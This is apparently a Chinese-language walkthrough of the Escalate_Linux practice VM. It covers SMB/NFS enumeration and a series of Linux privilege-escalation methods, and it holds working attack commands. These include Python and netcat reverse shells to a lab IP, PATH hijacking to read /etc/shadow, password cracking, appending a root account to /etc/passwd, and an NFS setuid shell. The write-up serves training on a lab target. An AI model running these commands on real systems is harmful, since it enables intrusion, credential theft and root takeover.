Escalate_Linux靶机
前言:集合了多种liunx提权方法的靶场,通过该靶场可以简单的了解liunx提权方法
1,扫描一下端口
80/tcp open http
111/tcp open rpc 2049/udp nfs要知道对方的共享才能挂载
139/445 Samba
SMB是一个协议名,全称是Server Message Block(服务器消息快协议),用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居由它实现。一般共享文件夹和打印机使用较多 它是应用层(和表示层)协议,使用C/S架构
当远程连接计算机访问共享资源时有两种方式:
1. \\共享计算机地址\共IP享资源路径
2. \\共享计算机名\共享资源路径
smb的默认端口可能是139或者445,其工作的端口与其使用的协议有关。
Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。
smbclient 是一个在Unix/Linux系统中的一个应用程序,它允许用户以类似于 ftp 的方式访问Windows系统上的 共享资源。它是Samba 软件 套件的一部分,可以让Linux系统与 Windows系统 进行网络共享。
-L | 列出服务器上的共享资源 |
-N | 不需要密码 |
-U | 指定用户名 |
-W | 指定工作组 |
-d | 指定调试级别 |
smbclient ///要访问的文件名 -I ip -N
这条路走不通换一条
像这种初始页面是没有什么东西的,进行目录爆破
这爆出来的没什么用,像这种情况换字典或者模糊测试
apache 不会解析asp/aspx(iis)这种是iis的站
http请求→中间件→框架→数据库
在页面或者一些tcp请求:
中间件→: 暴露在外网的
数据库:内网(服务器)
站库分离
apache+php+mysql
apache,tomcat , nginx , IIs7.0以上
wfuzz最方便
dirb
-X .php .html .asp 指定文件后缀爆破
菜刀(不到1mb)→蚁剑→冰蝎,哥斯拉
冰蝎可以做一些加密和混淆shell,常见的waf检测不出来,是免杀和绕过最好的
哥斯拉利于管理,也有一些免杀
使用which 测试对方有没有python
进行反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.128",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import pty; pty.spawn("/bin/bash")'
稳定shell
在本机下载LinEnum
GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks
然后在kali上开启http服务,然后让目标下载下来
给权限
之后在tmp目录下启动,因为tmp目录权限大
还有一个linpeas.sh和上面的一样操作方法下载下来
然后给权限,进行执行./linpeas.sh和./linpeas.sh
history(历史命令)
存放了历史命令,如果出现了whoami uname -a 大概率就是被人打进来了
内网信息收集:
linpeas:不存在内核漏洞,因为它都没变红
1,每5分钟去执行一次这个脚本
与本地建立的链接也看的到
2,3306端口
3,用户信息
uid,gid和groups是可以提权的
信息泄露
5,nfs挂载权限问题,前面有no没有开启安全功能,可以在共享的功能底下去互相传输
6,这个文件有root权限
7,root文件信息(疑似可提权目录)
/var/mysql(已发现)
script(ls)
abc.txt(空文件)
shell(.sh执行bash -i)
.script.sh(已利用)
.bash_history ,历史记录中有进攻的提示!
/etc/crontab
收集好信息准备提权
1,user3
有一个shell文件,用ida查看
int __cdecl main(int argc, const char **argv, const char **envp)
{setuid(0);setgid(0);system("./.script.sh");return 0;
}
调用的是.script.sh
应该在当前目录下,如果不在用find / -name .script.sh 2>dev/null
查找
调用了bash -i
1,suid提权
运行就获取到了root权限
2,user5
它下面有应该script文件
源码
int __cdecl main(int argc, const char **argv, const char **envp)
{setuid(0);setgid(0);system("ls");return 0;
}
可以使用PATH赋权执行命令
export PATH=/tmp:$PATH,当前只需要执行ls命令,就会调用tmp目录下的文件去执行!
ls一般是在/etc/ls这里
现在设置成了全局变量
本身ls是在/etc/ls这里的
在tmp目录创建ls文件。
全局变量调用/tmp/ls
执行script就会执行ls,就会执行tmp的ls
就拿到root权限了!
3,暴力破解
目录枚举爆破
/etc/shadow ——存放密匙信息
没有权限去看的
借鉴方法2,进行查看
echo 'cat /etc/shadow' > ls
chmod 777 ls
export PATH=/tmp:$PATH
./script
使用hash-identifier进行读取
这个值是可以爆破的
爆破要的值要全选,包括前面的用户名
爆破的存放在john下面了
root:12345
4,user4 计划任务
每5分钟执行一次 /home/user4/Desktop/autoscript.sh
也bash -i
只有user4才能执行
两个方法,一暴力破解或者信息枚举,二可以用ls也可以用.sh
chpasswd —-
echo 'echo user4:12345 | chpasswd' > ls
user4的密码就被覆盖了
没有执行成功,因为里面的bash -i 是写进去的,覆盖掉就可以了
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.128 6666 >/tmp/f' > autoscript.sh
进行nc反弹
成功
5,mysql
mysql -uroot -proot
看库
use user 进入库
然后看一下表
查看表信息
mysql mysql@12345
显示没有权限,uid和gid都是mysql,这种时候给它一个权限
信息泄露
6,user8
如果mysql没有user8的信息泄露,还可以用ls和.sh进行覆盖密码进入。
root权限进入vi,没有任何编辑就可以执行任何命令
(root)NOPASSWD:/usr/bin/vi
7,user7
user7是gid为0的root组的成员!
openssl passwd dayuxiyou
echo "dayu:BKStJ5AmLV5aA:0:0:root:/root:/bin/bash" >>/etc/passwd
8,和方法7一样,user4 group也有root
9,nfs user5
no_root_squash —-关闭了安全功能
/home/user5 *w,no_root_squash)
mount -t nfs 192.168.0.134:/home/user5 /tmp/dayu
df看系统有没有挂载
unmount /tmp/dayu 结束,要退出当前目录
目录是共享状态
缺少文件
写一个通用的shell
#include <stdlib.h>
int main() { setuid(0); setgid(0); system("/bin/sh"); }
将其写入shell.c文件
gcc编译一下之后执行就可以拿到root权限了
10,user2
(user1)ALL 可以sudo -u user1 /bin/bash
(root)ALL 括号有root就有root的全部权限
进入user1
然后sudo -l 然后sudo su
总结:一个集合了多种提权方法的靶场